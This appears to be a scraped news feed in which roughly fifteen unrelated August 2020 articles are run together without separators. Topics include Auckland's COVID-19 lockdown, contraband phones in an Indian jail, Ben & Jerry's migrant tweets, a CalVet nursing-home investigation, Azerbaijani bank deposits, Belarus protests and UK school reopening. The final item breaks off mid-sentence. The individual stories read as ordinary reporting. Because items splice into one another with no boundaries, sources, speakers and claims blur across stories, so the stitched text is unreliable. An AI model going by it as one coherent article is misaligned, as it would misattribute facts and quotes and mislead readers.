David Rider is the Stars City Hall bureau chief and a reporter covering city hall and municipal politics. Follow him on Twitter: @dmrider Read more about: Source: Xinhua| 2020-08-11 19:23:43|Editor: huaxia Video Player Close WELLINGTON, Aug. 11 (Xinhua) -- New Zealand's largest city Auckland will move to COVID-19 Alert Level 3 from Wednesday for three days, with the rest of the country going to Level 2 after four cases of community transmission were confirmed on Tuesday. After 102 days without community transmission in the country, Prime Minister Jacinda Ardern announced the lockdown decision in a late-night press conference. Auckland will move to Alert Level 3 lockdown from noon on Wednesday, which will last for three days until midnight Friday, she said. "These three days will give us time to assess the situation, gather information, make sure we have wide-spread contact tracing," Ardern said. These four local transmissions were acquired "from an unknown source," according to the prime minister. They were the first cases outside of managed isolation after New Zealand announced initial success in controlling the virus. The cases were within one family living in South Auckland, Director General of Health Ashley Bloomfield told reporters. The family has no history of international travels. Six family members who reside in the same household have been tested, with three of them returning positive results, three negatives, Bloomfield said, adding all close contacts are in isolation and more than one workplace was involved. The cases were not linked to foreign travelers or frontline people working at the border, Ardern said, calling on New Zealanders to be "precautionary." "Act as if you have COVID and the people around you have COVID," she said, stressing that Aucklanders are asked to stay home to stop the spread of the virus. Enditem Citigroup took steps to close accounts linked to some of the 11 individuals on the U.S. list as lenders overall stepped up scrutiny of customers in preparation for a potential escalation, a person familiar with the moves said. Others may follow suit. The fear is that the list could be expanded to include Chinese companies or Communist Party members, a group of about 90 million people, who are connected to state-owned enterprises. That would mean Wall Street banks couldnt do business with those firms, cutting into potential revenue. A mobile phone was recovered from a gangster lodged in Kapurthala Modern Jail on Tuesday. Jail authorities recovered a smartphone, sim card, battery and charger from gangster Rajinder Singh alias Mintu, during a surprise inspection of the cells. Authorities also seized five abandoned phones and batteries. A case has been registered against Mintu and some unidentified inmates under Sections 52A of the Prisons Act at the Kotwali Police Station on the recommendation of jail deputy superintendent of police (DSP) . Police have started an investigation to trace contacts with whom the gangster was in contact with outside the jail. Though jail premises have been sealed and no visitors have been allowed since the lockdown was imposed to contain the spread of Covid-19, the smuggling of mobile phones into Kapurthala Modern Jail remains unabated, exposing the lax security in the prison. This is the third time that a banned item has been recovered from inmates in the last two months. On June 26, a mobile and sim card were recovered from Sukhjinder Singh alias Billa Tolenangal of Amritsar and two mobile phones with sim cards and batteries were recovered from three other inmates on June 23 and June 6. This year, an assistant sub-inspector (ASI) was caught smuggling 50g charas into the jail. In the 13 cases where drugs were recovered from Kapurthala jail last year, the involvement of jail officials was established in five. Around 120 mobile phones along with sim cards had been recovered from jails this year during surprise inspections. As per Kotwali police station records around 170 mobile phones were seized in 2018 and over 200 mobile batteries, sim cards and chargers were recovered from prisoners in 2019. B en & Jerrys has sparked debate across social media after it launched a scathing attack on the Governments treatment of migrants. The ice cream giant shared a blistering series of messages, addressed to Home Secretary Priti Patel, on Tuesday evening stressing that people cannot be illegal. The firm posted the six-part thread in response to Home Office plans to stem the latest surge in Channel crossings through tougher Border Controls. It wrote: People wouldnt make dangerous journeys if they had any other choice. The UK hasnt resettled any refugees since March, but wars and violence continue. What we need is more safe and legal routes. People cannot be illegal. It continued by insisting that stronger borders arent the answer and urged ministers to talk to expert organisations, including charity Refugee Action. The thread ends: Lets remember were all human and have the same rights to life regardless of the country we happen to have been born in. And once more for the back: PEOPLE CANNOT BE ILLEGAL. Migrants attempt dangerous crossing in the English Channel The post was shared more than 6,000 times within four hours, as scores of Twitter users praised the US company for speaking out. One wrote: Ben and Jerry: not all political heroes wear capes, some simply make amazing ice-cream and just seek to make the world a better place. "We love you Ben and Jerry!" However, a Home Office source swiftly hit back at the brand, labelling it overpriced junk food, according to the BBC. They said: "Priti is working day and night to bring an end to these small boat crossings, which are facilitated by international criminal gangs and are rightly of serious concern to the British people. "If that means upsetting the social media team for a brand of overpriced junk food, then so be it." Other Twitter users condemned Ben and Jerry's for political pontificating and alleged hypocrisy. The frozen goods creator, founded in 1978 by best friends Ben Cohen and Jerry Greenfield, was bought by the multinational company Unilever in 2000 for around 246 million. Co-founders Ben Cohen (right) and Jerry Greenfield / Getty Images Journalist James Ball commented: A lack of humanity for people fleeing war, you say? A group of 218 Kenyan tea plantation workers have filed a complaint with the UN against Unilever. Who owns Ben & Jerrys again? Last week the UK-listed firm announced it was extending a paid advertising boycott on Twitter, Facebook and Instagram until the end of the year. It accused the social media giants of doing too little to remove hateful content and misinformation. Unilever would not say if it would commit other brands in its stable to the move, instead pointing out that Ben & Jerrys has a long history of activism. The British-Dutch consumer goods company also owns brands including PG Tips, Marmite, Pot Noodle and Dove soap. Protests have erupted in the western countryside of Raqqa and called for the fall of the regime and the release of prisoners writes SY 24. Residents of al-Tabqah city demonstrated in the western countryside of Raqqa governorate, which is under the control of the Syrian Democratic Forces (SDF). Activists circulated a video showing the participation of dozens of people from the city of al-Tabqah in the demonstration, which demanded the overthrow of Bashar al-Assads regime and holding his corrupt regime accountable, in addition to calling for the release of detainees from regime prisons. The demonstrators also affirmed that they stand by the people of the villages and towns of the eastern countryside of Deir ez-Zor, which has been witnessing a state of tension since the assassination of the most prominent sheikhs of the al-Akidat tribe, Mutashar al-Hamoud al-Jadaan al-Hafal, as a result of gunfire in SDF-controlled areas in Deir ez-Zor. Ali Salman al-Wais, one of the notables of the al-Bakara clan, was assassinated by Islamic State cells, in addition to the spokesperson for the al-Okidat clan, Sheikh Suleiman al-Kassar. All of these assassinations took place during the last days of Eid al-Adha. Since last Thursday, the SDF has carried out raids and arrested of a number of young men, in addition to burning down the house of a civilian in the town of al-Shuhail in the eastern countryside of Deir ez-Zor. The SDF used bullets to disperse the demonstrations, which prompted members of al-Akidat tribe to revolt against the SDF and expel its members from several areas in the eastern countryside of Deir ez-Zor. Many Arab tribes issued statements declaring their solidarity with the people of Deir ez-Zor and with the al-Akidat tribe in their revolution against SDF. This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. SAN RAFAEL, Calif., Aug. 11, 2020 /PRNewswire/ -- How Women Invest LLC (HWI) today announced Fund I, a $10M venture fund subscribed predominantly by female investors, over half women of color, who aim to disrupt the antiquated, unequal landscape of the venture capital system that typically excludes women startup founders. The new fund provides capital, mentoring and a network of influential women leaders to support female startup founders, especially women of color. The first close of $5M was achieved in four months and the Partners credit the fund's success to what they call their ultimate differentiator, a vast network of professional, collaborative and community-driven women leaders representing board directors, C-suite, and senior executives. The Future of Venture Looks Like This Data Shows VC Funded, Women-Led Startups Have Better ROI Research shows that greater diversity yields higher returns. Startups with a female founder generated 78 cents of revenue for every $1 of funding, while male-founded startups generated 31 cents, according to a Boston Consulting Group (BCG) study of 350 startups. Private technology companies led by women are more capital-efficient, achieving 35% higher ROI, and, when venture-backed, 12% higher revenue than startups run by men, according to the BCG study. Julie Castro Abrams, Managing Partner at HWI and founder of sister organization How Women Lead, says, "The goal of the How Women Invest venture fund is to provide the starter fuel and support to propel fearless women startup founders to growth and victory. Research by Pitchbook shows that only 2% of all venture dollars are allocated to women-led, women-owned startups. This leaves most women entrepreneurs out of the venture system. With HWI, we aim to change this imbalance." Erika Cramer, Managing Partner at How Women Invest, says, "We started the fund to back our strong belief that the current venture landscape demands a new investment approach and business model -- a 2.0 of gender lens investing. Our mission is two-fold. We are committed to bring more women investors from diverse backgrounds to the decision table and to support more female founders creating sustainable change in the venture landscape." As a first generation American and the first in her family to complete a four-year college degree, Cramer wants other women to have the opportunities she has had and, hopefully, with an easier path. Cramer is investing in the fund with proceeds from her own liquidity event -- the sale of her interest in a women-owned investment banking boutique, now an affiliate of Raymond James. Women investing in the How Women Invest venture fund believe there is enormous opportunity to identify female founders with creative solutions, an opportunity often missed by traditional venture capitalists. This community of powerful women want to change the world by funding female founders who are disrupting systems, technologies, industries, services and products. Assets Available: FAQ, bios, video, data and infographic About How Women Invest How Women Invest, sister organization to How Women Lead (HWL), is deeply rooted in HWL's mission to disrupt the antiquated and unequal landscape impacting women. Living by the CREDO established in the HWL community, How Women Invest is dedicated to shifting the venture capital landscape by supporting women-led companies, with a focus on women of color. The organization's mission is to inspire a community of 1,000 first-time female investors by the end of 2020, launch Fund I (a $10 million venture fund for up to 249 limited partners), and create an infrastructure to enable women of all backgrounds to support under-represented and under-capitalized female founders. The fund systematically leverages its diverse community and limited partnership for deal sourcing, industry knowledge, domain expertise and more. For more information, visit https://www.howwomeninvest.com/. How Women Lead (HWL), sister organization to How Women Invest, is a high-caliber network of 13,000-plus senior-level women that have come together to make a collective impact, propel women's leadership forward, and build movements that create lasting change. The organization works to propel women into even greater leadership roles through fostering connections and providing a platform for women to learn from one another. Media Contact Teena Bhatia How Women Invest [email protected] 646-258-7452 SOURCE How Women Invest Netflix's new space drama, 'Away', centring around an international crew's voyage to Mars looks set to pull on heartstrings when it debuts on September 4. From Executive Producer Jason Katims, the Netflix series Away is a thrilling, emotional drama on an epic scale that celebrates the incredible advancements humans can achieve and the personal sacrifices they must make along the way. As American astronaut Emma Green (Hilary Swank) prepares to lead an international crew on the first mission to Mars, she must reconcile her decision to leave behind her husband (Josh Charles) and teenage daughter (Talitha Bateman) when they need her the most. As the crew's journey into space intensifies, their personal dynamics and the effects of being away from their loved ones back on Earth become increasingly complex. Away shows that sometimes to reach for the stars, we must leave home behind. Created by Andrew Hinderaker, the series is executive produced by showrunner Jessica Goldberg, Jason Katims, Matt Reeves, Andrew Hinderaker, Edward Zwick, Hilary Swank, Adam Kassan and Jeni Mulein. Cast & Character Information Emma Green (Hilary Swank) Emma Green is an American astronaut and former Navy pilot. She is the commander of the first mission to Mars. She is a headstrong, empathetic and highly intelligent astronaut and leader. She is married to Matt Logan, a chief engineer at NASA. Emma and Matt have a 15-year-old daughter, Lex. Matt Logan (Josh Charles) Matt Logan is a NASA engineer whose wife Emma Green is commanding the first mission to Mars. He faces the already enormous challenges of dealing with the mission from home, while trying to raise their teenage daughter on his own. Alexis Lex Logan (Talitha Bateman) 15-years-old Lex is the daughter of astronauts Emma Green and Matt Logan. Like her father, Lex is supportive and proud of her mothers three-year mission. She struggles with coming of age while her mother is on the mission and her father faces his own struggles. Misha Popov (Mark Ivanir) Misha Popov is a Russian cosmonaut and engineer on the mission to Mars alongside Emma Green. The most experienced member of the crew, Misha doesnt lack for ego, but secretly struggles with the personal sacrifices he made to get to space. Dr. Kwesi Weisberg - Abban (Ato Essandoh) Kwesi Weisberg-Abban is a British citizen from Ghana. Kwesi (pronounced Kway-Si) is good-humoured, modest, and a man of deep faith. Hes a world-renowned botanist and carries with him the hope of growing life on Mars. Ram Arya (Ray Panthaki) Ram Arya is an Air Force fighter pilot from India. While the other astronauts are forced to reckon with their attachments to earth and their families, Ram is quite alone in the world. Lu Wang (Vivian Wu) Lu Wang is a chemist and astronaut representing China. She is intelligent and pragmatic but below her focused exterior, she has a complex personal life. She is married with a young son. Melissa Ramirez (Monique Curnen) Melissa Ramirez is a former astronaut who is Emmas Crew Support Astronaut. Her job is to be Emmas Liaison To Earth. Melissa gave up her own career as an astronaut to support her special needs child, but she is there for Emma and her family. She takes care of Lex in Matt and Emmas absence. While the vast numbers of nursing home deaths have been the greatest horror of the coronavirus crisis, the system operated by Californias Department of Veterans Affairs has been a rare bright spot. Across the country, at least 43,000 nursing home residents have died of the coronavirus. In California, at least 3,400 have passed away. But at the eight CalVet veterans homes, its been a different story: Among 2,100 residents, half of whom require round-the-clock care, including hospice patients and Korean and Vietnam war veterans with complicated health conditions, only two have died of the coronavirus. An average nursing home patient in California is 31 times more likely to die from the coronavirus than a resident of a CalVet home. The diligence with which CalVet has fought the coronavirus a battle which leaders characterize more as trench warfare than a blitzkrieg stands in sharp contrast to the failures of the many privately owned, loosely regulated homes that have seen residents die by the dozens. While more than 300 California nursing homes asked for waivers exempting them from the states minimum-staffing rules prior to the pandemic, for example, CalVet kept its homes fully staffed and hired extra professionals such as full-time doctors and nurses. Its facilities stockpiled masks, ensuring they wouldn't run short when the rest of the world did. All in all, CalVets experience suggests that the sweeping losses of elderly victims and people with disabilities across the country werent inevitable a better system of care might have saved tens of thousands of lives. In addition to the two residents who died, CalVet homes have seen six others get the coronavirus and recover. More than a dozen staff members have contracted the virus, threatening to infect the homes but through a rigorous program of testing, contact tracing and encouraging employees who think they may have Covid-19 to stay home from work, CalVet has kept the virus mostly out of its campuses. Story continues The secret of CalVets success has been leadership, quick efforts to obtain protective equipment, extensive testing and advance planning the lack of which have long been cited in the homes with the most serious coronavirus outbreaks. A POLITICO investigation involving interviews with California state officials and outside experts, along with a review of state documents and data, found that while CalVet homes benefited from greater resources than the typical nursing home, the key to their success was more in effective management and planning. As soon as word of the coronavirus appeared in China, CalVet leaders kept one eye on the virus, and carefully charted a consistent, unified response, based around the idea that one slip-up be it an employee failing to wash his hands or an administrator falling to issue a test could cost a resident his or her life. Veterans Affairs Secretary David Shulkin arrives to testify on veterans programs before the Senate Committee on Veterans Affairs at Capitol Hill, Wednesday, March 21, 2018, in Washington. Its important to have a plan, said David Shulkin, secretary of Veterans Affairs in the Trump administration from 2017 to 2018. And secondly, you have to stick to your plan. And I don't think weve consistently seen that throughout the country. Weve seen 50 different plans, and weve seen a lack of consistency and a lack of people sticking with a plan. Shulkin ticked off a litany of problems facing nursing homes around the country, from lack of access to protective equipment to lengthy lag times in receiving test results. Indeed, nursing homes across America spent much of June and July arguing that they should be treated more like hospitals when it comes to testing, rather than receiving a second-tier prioritization that can cause delays in obtaining test results of five to seven days. We should be doing everything we can to prevent coronavirus and help people recover if we can, and not just give up on an entire group of Americans because some people believe its inevitable, Shulkin said. In our nursing homes, we have to provide the highest level of protection and prevention. California Veterans Affairs secretary Vito Imbasciani keeps up with the Centers for Disease Control and Prevention website like some people do the weather, scanning it daily for reports of outbreaks in faraway countries. Viruses are a particular area of concern for Imbasciani, a urologist by training who served with the U.S. Army during the Gulf War. He got an education in infectious diseases starting in second grade, when he contracted polio and spent four months in the hospital, followed by years of physical therapy and specialized camps, working to regain the strength in his legs, which can still limp when he's tired. As a young gay man, he started medical school in 1981, the same year the AIDS epidemic hit the U.S. I lived in fear of becoming antibody positive, Imbasciani said in an interview. This past winter, around New Year's Eve, as nursing homes in the CalVet system were readying for the annual flu season, Imbasciani noticed a report on an unusually infectious new disease in China, Covid-19, during one of his trolls of the CDC website. I said to my team, We have to prepare not only for influenza, but for the possible spread of this, Imbasciani said. I knew people who leave China and are coming into the United States come in through L.A. and Seattle. As parts of the state government, homes in the CalVet system were required to take precautions that private facilities were not: They had to maintain extensive emergency preparedness plans in the event of an earthquake or other natural disaster, including stockpiles of N95 masks. They also had taken formal steps to protect against viral diseases such as hantavirus, a deadly rodent-born disease that appeared in California and other states in the last decade. By contrast, while federal law requires that all nursing homes have some sort of emergency plan in place, a whopping 43 percent have been caught violating that requirement, and the long-term care industry strongly opposed the Obama administration-era rule that created it. By Jan. 21, when a 35-year-old man outside Seattle became the United States first known Covid-19 diagnosis, Imbasciani and his team had been monitoring Covid-19 for weeks and advising staff to stay home and let them know if they felt sick. By early February a month before the first person died from the coronavirus in the U.S. the administrators for the systems eight veterans homes were dialing into a video conference call each day at 11 a.m. to discuss the potential pandemic, retraining their staff on how to prevent infections and auditing residents emergency contact information. Working with the governors Office of Emergency Services, each nursing home built up a stockpile of 50,000 N95 masks and other PPE, in preparation for a scenario in which the homes would have to completely lock down. As the number of Covid-19 cases slowly grew in the United States, CalVets leaders issued more directives: By Feb. 26, the homes enacted plans to clean their common areas every 30 minutes. By March 3 still more than a week before the World Health Organization declared the coronavirus a pandemic, and ten days before President Donald Trump declared a national emergency every CalVet nursing home had a detailed protocol for what to do if they suspected a case of Covid-19. Soon, group activities were suspended, residents were required to eat and live in their rooms and staff and residents were given instruction in how to keep social distance. Each CalVet home followed a 38-point action plan, designed to help them prepare for the worst. And March 15, four days before Californias Gavin Newsom became the first governor in the country to order California residents to shelter in place, CalVet decided to close its doors to outsiders. It marked the start of months of challenging isolation for residents, who were divided into halls and barred from leaving their designated areas. Theres a lot of sadness that goes along with our record, said Imbasciani. These are veterans who are in their seventh, eight, ninth, tenth decade of life. And were restricting visits and access to hugs. Theres not been any birthdays, and even the traditional Memorial Day party. They cant eat in their congregate dining halls its sad. For administrators who run the CalVet homes, vigilance is top priority. CalVet has not invented any new ways of fighting the coronavirus. But its nursing homes are presenting a united front, something the rest of the country is struggling with. If you let your guard down, you are in trouble with this virus, said Thomas Bucci, director of long term care at the California Department of Veterans Affairs. We are only as good as our weakest employee who decides they are not going to wear a mask and just gave a resident a bath and breathed all over him. CalVet nursing homes have benefited greatly from their ties to state and federal government. Such was the case in early April, when Chris Walter, acting administrator of CalVets West Los Angeles veterans home, a 396-bed facility close to the University of California, Los Angeles, had a dangerous scenario on his hands: a potential case of the coronavirus at a time when tests were still in extremely short supply. Walters problem was solved by the local VA office, which sits across the street from his nursing home. The VA leader offered to run tests at the veterans home, quickly determining that Covid-19 had not spread far within the facility. Walter is, for legal reasons, restricted from discussing individual results of Covid-19 testing, but said his building has been able to quickly obtain and run tests, both for surveillance and when there were suspected infections, since April. Hes now run multiple rounds of tests for all residents of the West Los Angeles home, in accordance to rules established in June by the state of California. The West Los Angeles home has had at least one case of Covid-19 among its staff, and accounts for at least one of the two deaths in the CalVet system. Like other CalVet homes, Walter's home in Los Angeles houses some residents in assisted living, and some in skilled nursing. Overall, roughly half of CalVet residents are in skilled nursing, including hospice patients. The homes have had three Covid-19 cases and one death among residents in assisted living, and three cases and one death among residents in skilled nursing. Walter recalled having early meetings with his on-staff medical director and infection control nurse, both of whom work full-time at his facility, and discussing the possibility that the coronavirus would come to Los Angeles in February. I think at that time, during the end of February and beginning of March, there was a sense of, This isnt coming here. But with the tone of the department, there was also a sense of, Well, what will we need to do if it does come? Walter said. As the coronavirus spread to Los Angeles, one of Walters chief concerns was how to prevent staff from carrying germs into the building. In addition to wearing masks, staff at the West Los Angeles home, like all CalVet homes, are screened when they arrive for work, and asked to answer questions that extend beyond whether theyve had any recent coronavirus symptoms. Theyre quizzed about whether theyve come from another facility, and, if so, whether theyve changed clothes. And theyre asked if theyve taken any Tylenol or other drugs that could, inadvertently or not, mask a fever when they have their temperatures taken at the door. And unlike many nursing home operators across the country, Walter and other CalVet operators give their employees sick leave. This is both a workplace benefit and a tactic for fighting the virus because it encourages people not to show up to work if they arent feeling well. If employees come down with a cough or have any reason to think they might have been exposed to Covid-19, they are paid to stay home while awaiting test results, and given sick leave if the test comes back positive. CalVet officials say this approach has helped foster better communication with staff and enabled their facilities to do robust contact tracing if someone does contract the virus. If our doc says they are at risk, we will pay them to stay home so they dont lose their rent payment, said Bucci, the director of long term care. When all of these [practices] work together in a system, it can work. All of these can be weaknesses in other facilities, and other homes. Experts in the nursing-home industry note that CalVets approach is run with near-military precision, relying on strict protocols and chains of command to get things done. Many of the countrys nursing homes have no comparable sense of order. In many homes, workers and residents feel abandoned by corporate owners. Owners point to a lack of leadership and money from government. And watchdogs say theres been too little direction from both to help the millions of vulnerable people on the front lines. A patient is evacuated from the Magnolia Rehabilitation and Nursing Center in Riverside, Calif. Below, warning notices are posted on a door at an entrance to the Cedar Mountain Post Acute nursing facility in Yucaipa, Calif. In California alone, 43 percent of the states coronavirus deaths were tied to nursing homes, according to a New York Times analysis. That number is even higher in some areas such as Contra Costa county, where 65 percent of deaths were linked to nursing homes after massive outbreaks in some facilities. But compared to some other states, California is a relatively safe place to be in a nursing home. Residents of Massachusetts, New Jersey and Connecticut nursing homes are more than twice as likely to die from the coronavirus, according to data reported to the Centers for Medicare and Medicaid Services. Other veterans homes haven't fared as well as CalVet. Forty-two residents died during an outbreak at the Pennsylvania-based Southeastern Veterans Center. The facility hadn't followed federal and state recommendations on quarantining sick residents and providing staff with PPE, among other issues, state inspectors later found. Other issues that can allow the coronavirus to slip into nursing homes, like mask shortages and five-day or weeklong wait times for test results, are still plaguing nursing homes, nursing home employees and advocates told POLITICO. About 30 miles southeast of the West Los Angeles CalVet home, at the 270-bed Windsor Palms Care Center of Artesia, staff members wear N95 face masks for multiple days, even if they are dirty, and sometimes there are only size "small" masks left that may not fit, two employees told POLITICO. Residents at Windsor Palms especially those with dementia often dont wear masks, the employees said. More than two dozen cases of the coronavirus have been confirmed at Windsor Palms, and workers have both quit and called out sick, leading to staffing shortages, the employees said. Patricia Koibita, a nurse's aide at Windsor Palms, said that on one recent day she'd had to walk to a different wing of the facility to wash her hands a key step in preventing the coronavirus because the building maintenance was too short-staffed to keep soap and paper towels in the bathrooms. Its not a fun environment, its not a clean environment, its not a safe environment. Its a very stressful environment and an unsafe environment, Koibita said. In a statement to POLITICO, Windsor Palms Care Center of Artesia said that it follows federal and state recommendations and "is committed to protecting its residents and staff from Covid-19." Additionally, Windsor Palms said, it has "ample supplies of personal protective equipment including masks and face shields" and that "all restrooms and hand washing stations have considerable amounts of soap and towels available." Even nursing homes that are working aggressively to keep the coronavirus at bay face steep challenges. At Antioch Convalescent Hospital outside San Francisco, a 99-bed facility with no Covid-19 cases among its residents, administrator Phylene Sunga said she has for months been struggling to obtain proper PPE, leading her to informally band together with administrators at other homes to barter for lower prices from vendors. Still, she regularly pays double the usual rate for masks and other equipment and has to place large bulk shipments, she said. Last week, Antioch was forced to use unapproved N95 masks when the home ran out of surgical masks, Sunga said. The shortages have been happening since mid-March, when the coronavirus began to spread in San Francisco. We all ordered PPE, and you couldnt get any, Sunga said. Free from the pressure to turn a profit and aided by additional state funding, CalVet nursing homes had more built-in advantages than the average private nursing home at the pandemics start. Perhaps most crucially, CalVet homes have full-time doctors on staff and full-time infection control specialists, two positions that are rarely filled at private nursing homes. While more than half of all nursing homes in California have requested waivers from state-approved staffing levels over the past two years, a requirement that industry leaders say is difficult to meet because of a lack of qualified staff and low government funding for nursing homes, the CalVet homes have not. And all but one CalVet home the facility in West Los Angeles, which has some two-room suites house all their residents in single or double rooms, giving them more protection from the virus than nursing homes with large semi-private rooms separated by cloth barriers. There has never ever been enough daily dollars to actually give the level of care that is expected regulatorily, said Bucci, Californias director of long term care, who was a senior living facility operator for 19 years before working at CalVet. Theres no doubt that our service has been geared more around having a full-time infection control nurse on staff, a full-time doctor on staff you cant afford that under the typical model of a nursing home in America. As the pandemic unfolded, California added new requirements for nursing homes. They had to test all of their residents at least once and follow up with regular testing of 25 percent of the home every 7 days. The government mandated that homes come up with plans for how to fix staffing shortages, and to provide enough masks and other PPE to residents. And the state increased its Medicaid reimbursement rates by 10 percent. In an effort to boost testing at nursing homes, the U.S. Department of Health and Human Services recently announced it would begin sending testing machines to nursing homes in coronavirus hot spots. In addition, HHS has distributed at least $10 billion in coronavirus aid for nursing homes. The nursing home industry has said that the funding increase comes nowhere close to meeting its needs, and has asked for billions more in Covid-19 relief funding in Congress' next stimulus bill, including a $5 billion fund to help pay for testing and increasing federal reimbursement rates for nursing homes with coronavirus patients by 30 percent. But one crucial issue, said Molly Davies, who oversees ombudsman services for Los Angeles County, is nursing home operators willingness to invest their own money in their facilities. These other nursing homes do have the resources, but they chose to not use them, Davies said. CalVet, it sounds like, is doing what other facilities should be doing but are not doing. Like paying people and encouraging them to stay home when they have a sore throat. California Gov. Gavin Newsom gestures during a news conference as CalVet Secretary Vito Imbasciani looks on at the Veterans Home of California, Friday, May 22, 2020, in Yountville, Calif. Imbasciani, the state Veterans Affairs secretary, was responsible for many of the recommendations for homes in the CalVet system, namely to test often and carefully screen workers and anyone else who enters the building. But he insisted that the work hes done at CalVet has been the product of common sense, nothing more or less. We managed [the homes] to think proactively, what can we do to keep the virus out? Imasciani said. Any high school graduate who took a health course and had common sense on what to do with an unseen contagion would have done what we did. In June, Imbasciani and his team started to talk about letting visitors who hadnt laid eyes on their loved ones for month back into CalVet homes. But that conversation is on hold for now, as coronavirus cases in California tick back up, surpassing half a million in the Golden State alone. Im very, very nervous, Imbasciani said. I dont want to lose the success weve gotten. BAKU, Azerbaijan, Aug. 11 By Asif Mehman - Trend: The return of deposits blocked in closed banks in Azerbaijan will begin on August 14, the Azerbaijan Deposit Insurance Fund (ADIF) told Trend. As reported, on the basis of the request of the Azerbaijani Cabinet of Ministers on ADIFs appeal regarding the return of deposits that have come under corrective measures, Atabank, NBCBank and AGBank, which are in the process of liquidation, as well as in connection with deposits by mistake registered in the register of liabilities of Atabank in the process of liquidation to depositors as unprotected deposits, the Constitutional Court of Azerbaijan interpreted Article 2.1.2.6 of the Law of Azerbaijan On Deposit Insurance from the point of view of Articles 47 and 48 of the Law of Azerbaijan On Banks. According to the decision of the Constitutional Court, the deposits taken by Atabank, NBCBank and AGBank, after the application of corrective measures, increased in volume and changed in terms, were considered protected deposits, also for deposits erroneously registered in the register of obligations to depositors being in the process of liquidation of Atabank as unsecured deposits, the bank deposit agreement is considered concluded from the moment the depositor transfers the deposit to the bank and must be accepted as the initial (main) agreement. Korea on Monday began allowing people to enter the country from China's Hubei Province, the origin of the coronavirus outbreak. The province has not reported any new cases of the virus recently and China has eased entry restrictions on Koreans. Korea had imposed entry bans on people who had visited or traveled to the province, as Wuhan, the provincial capital, saw rising cases of coronavirus since early February. 11 Aug 2020, 10:17 AM More dead from coronavirus than from communicable diseases in 3 years India's cumulative coronavirus deaths at 44,386 since the outbreak of the pandemic this year have now crossed all deaths from communicable diseases in the past three years. Deaths reported due to major communicable diseases totaled 41,890 between 2016 and 2018. Of these, pneumonia accounted for the maximum share of 28.1 per cent and mortality due to acute respiratory infection stood at 10,158 with the second highest share of 24.2 per cent during these three years. Donald Trump escorted from briefing amid shooting near White House The U.S. Secret Service abruptly escorted President Donald Trump out of the White House press room in the middle of a briefing on Monday because of a shooting outside the White House. Trump returned to the media room several minutes later and said a person had been shot by law enforcement and taken to the hospital. He said he understood the suspect had been armed. AAI puts GoAir on cash-and-carry mode over Rs 50 crore unpaid dues Airports Authority of India (AAI) has put no-frills airline GoAir on cash and carry mode after the latter could not clear unpaid dues worth Rs 50 crore. The airline will now have to pay upfront to avail of services at airports operated by the AAI. The decision comes into effect on August 11. Atma Nirbhar Bharat: Centre to focus on lowering use of imported components in locally developed platforms The defence ministry will focus on significantly bringing down percentage of imported components in indigenously developed military platforms and weapons systems like light combat aircraft Tejas and Akash missiles, officials said on Monday. The Indian armed forces have been using a plethora of indigenously developed platforms and weapons which have various imported components and electronic systems. LIC policyholders to get up to Rs 2,500 concession on revival of lapsed policies In a major relief to LIC policyholders, the insurance major has offered an opportunity for its customers to revive their lapsed policies in a bid to encourage continuation of risk cover during the coronavirus pandemic period. LIC has launched a special revival campaign from August 10 till October 9 for its customers to revive their individual lapsed LIC policies. Manmohan Singh offers 'three steps' to deal with India's economic crisis Former Prime minister and economist Dr Manmohan Singh has offered three steps to save India from the economic crisis. While speaking to the BBC, Dr Singh stated that firstly,, the government should "ensure people's livelihoods are protected and they have spending power through a significant direct cash assistance". Second, govt should make adequate capital available for businesses through "government-backed credit guarantee programmes". Third, government should fix the financial sector through "institutional autonomy and processes". Dronarium members reiterated they had repeatedly launched flags of "those who face oppression in their freedoms." A huge flag of the Republic of Belarus has been launched over the Ukrainian capital city of Kyiv in solidarity with protests in that country. "After the closure of polling stations, people peacefully took to the streets of Belarusian cities to defend their right to vote, but for this they received harsh suppression from the security forces," according to the captions to the video posted by the Dronarium Ukraine company on Facebook. Read alsoEx-Ambassador Bezsmertnyi doesn't rule out Russia military's involvement in Belarus "It is unacceptable to use force instead of dialogue in response to a peaceful protest. Ukrainians on their own experience felt all the aggression of the authorities during the Revolution of Dignity, so our company could not but react to the events in Belarus," it said. Dronarium members reiterated they had repeatedly launched flags of "those who face oppression in their freedoms: the launch of flags during Kyiv Pride events, the flag of the Crimean Tatar people over Kyiv." Protests in Belarus: What is happening? Boris Johnson today insisted he has 'no doubt' it is safe for schools to reopen as he was urged to emulate Thatcher's battle against coal miners and force teaching unions to get children back in class. Tory MPs are demanding the PM stays 'unbreakable' despite claims of attempts to sabotage his drive to get all pupils back in classes in England next month. There are also increasing signs of a backlash against Education Secretary Gavin Williamson, with complaints he has been 'practically invisible' and comparisons with hapless comedy character Frank Spencer. As schools returned in Scotland today - where summer holidays end earlier - the NEU union upped the ante again by claiming the science on infections is not yet 'clear enough' to guarantee safety. But on a visit to Hereford, Mr Johnson played down the risks. 'I have no doubt that it can be done safely. Schools are doing a huge amount to make sure that it is done safely,' he said. 'Just for the sake of social justice, ensuring that all our kids get the education they need, we need to get our pupils, our children, back to school in September and I am very, very impressed by the work that has been done to make those schools Covid-secure.' Scotland's schools are returning from today, because their holidays end earlier. Pictured, pupils arrive at Kelso High School in the Scottish Borders Pupils return to Kelso High School for the first time since the start of the coronavirus lockdown. Mr Johnson turned up the heat in the standoff yesterday by insisting that there is a 'moral duty' to get all schools up and running in England in September There are signs of a Tory backlash against Education Secretary Gavin Williamson (pictured left), with complaints he has been 'practically invisible' and comparisons with hapless comedy character Frank Spencer (right) Unions claim science on Covid 'not clear enough' to bring back schools Unions have warned the science on coronavirus infection is 'not clear enough' to reopen schools fully. NEU joint general secretary Kevin Courtney demanded the government is 'much clearer' on the risks of getting pupils back into classrooms. 'Schools should be one of the first areas to open if they can safely, but we have concerns that the science is not clear enough,' he said. 'It would be terrible if the R goes above one again, as that would mean a second peak. 'We also continue to have concerns about vulnerable staff, parents and grandparents, and the government needs to be much clearer on the advice and risks for them.' Advertisement Ministers have become increasingly frustrated with the teaching unions in recent days, particularly after the National Education Union published a 'nit-picking' list of 200 safety demands for all schools to adhere to. But the government is facing increasing pressure to take a tough line. The Tory chair of the education select committee, Robert Halfon, told the Telegraph: 'The Government needs to be absolutely unbreakable on this. If teachers won't go in, be Maggie about it and say 'we will find alternatives'. ' Former party leader Sir Iain Duncan Smith added: 'Unions have got one objective - to use their political muscle to damage Boris Johnson. 'It's a re-run of the Eighties except it's not the coal miners, it's the teaching unions.' One backbencher delivered a withering verdict on Mr Williamson's performance, 